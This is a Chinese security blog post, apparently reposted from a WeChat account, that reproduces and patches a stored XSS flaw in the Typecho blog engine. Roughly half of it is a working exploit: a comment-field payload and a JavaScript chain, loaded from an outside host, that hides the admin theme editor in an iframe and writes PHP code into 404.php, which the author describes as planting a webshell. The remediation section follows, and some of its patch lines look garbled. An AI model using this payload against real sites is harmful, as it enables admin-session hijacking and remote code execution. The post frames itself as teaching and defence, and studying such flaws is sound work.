Typecho 存储Xss复现及修复

admin 2024年10月13日15:57:48评论34 views字数 2845阅读9分29秒阅读模式

Typecho和WordPress一样,是一款简洁的博客程序。相比第二者它更加简单轻量,本身最新爆出最新版存在存储xss漏洞。本文简单的进行复现和利用。

注意: 本文仅供学习和研究,研究反对一切危害网络安全的行为。

漏洞复现

我们在文章的评论处写入poc。

https://bbskali.cn/"></a><script>alert(1)</script><a/href="#

如下:

Typecho 存储Xss复现及修复提交之后,在前台文章处直接触发。同时在后台评论管理处也会直接触发。

Typecho 存储Xss复现及修复

漏洞利用

我们可以通过js编辑模板文件来写入一句话木马。这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php phpinfo(); ?>n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();

保存上述文件为js文件。在评论处构造paylaod

http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#

提交评论后,是没法复现的。只有管理员点击了后台的评论按钮,才会得到复现!

Typecho 存储Xss复现及修复

Typecho 存储Xss复现及修复然后这里访问模板文件或者让文章404即可触发/usr/themes/default/404.php/index.php/archives/1/A

Typecho 存储Xss复现及修复

漏洞修复

1 1.2版本修复

var/Widget/Base/Comments.php 271行

 echo '<a href="' . $this->url . '"' 

修改为

echo '<a href="' . Common::safeUrl($this->url) . '"'

Typecho 存储Xss复现及修复这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理

修改var/Widget/Feedback.php 209,308 行

$comment['url'] = $this->request->filter('trim')->url;

修改为

$comment['url'] = $this->request->filter('trim''url')->url;

308行将

$trackback['url'] = $this->request->filter('trim')->url;

修改为

$trackback['url'] = $this->request->filter('trim''url')->url;

var/Widget/Options.php 85行

* @property bool $commentsRequireURL

修改为

* @property bool $commentsRequireUrl

1 1.2.1-rc版本修复

修改/var/Typecho/Validate.php 第99行 修改为

return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;

修改为

return (bool) preg_match("/^[_a-z0-9-.]+@([-a-z0-9]+.)+[a-z]{2,}$/i"$str);

修改完成后,在后台也就无法触发xss

Typecho 存储Xss复现及修复

更多精彩文章 欢迎关注我们

原文始发于微信公众号(kali黑客笔记):Typecho 存储Xss复现及修复

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日15:57:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Typecho 存储Xss复现及修复http://cn-sec.com/archives/1898754.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息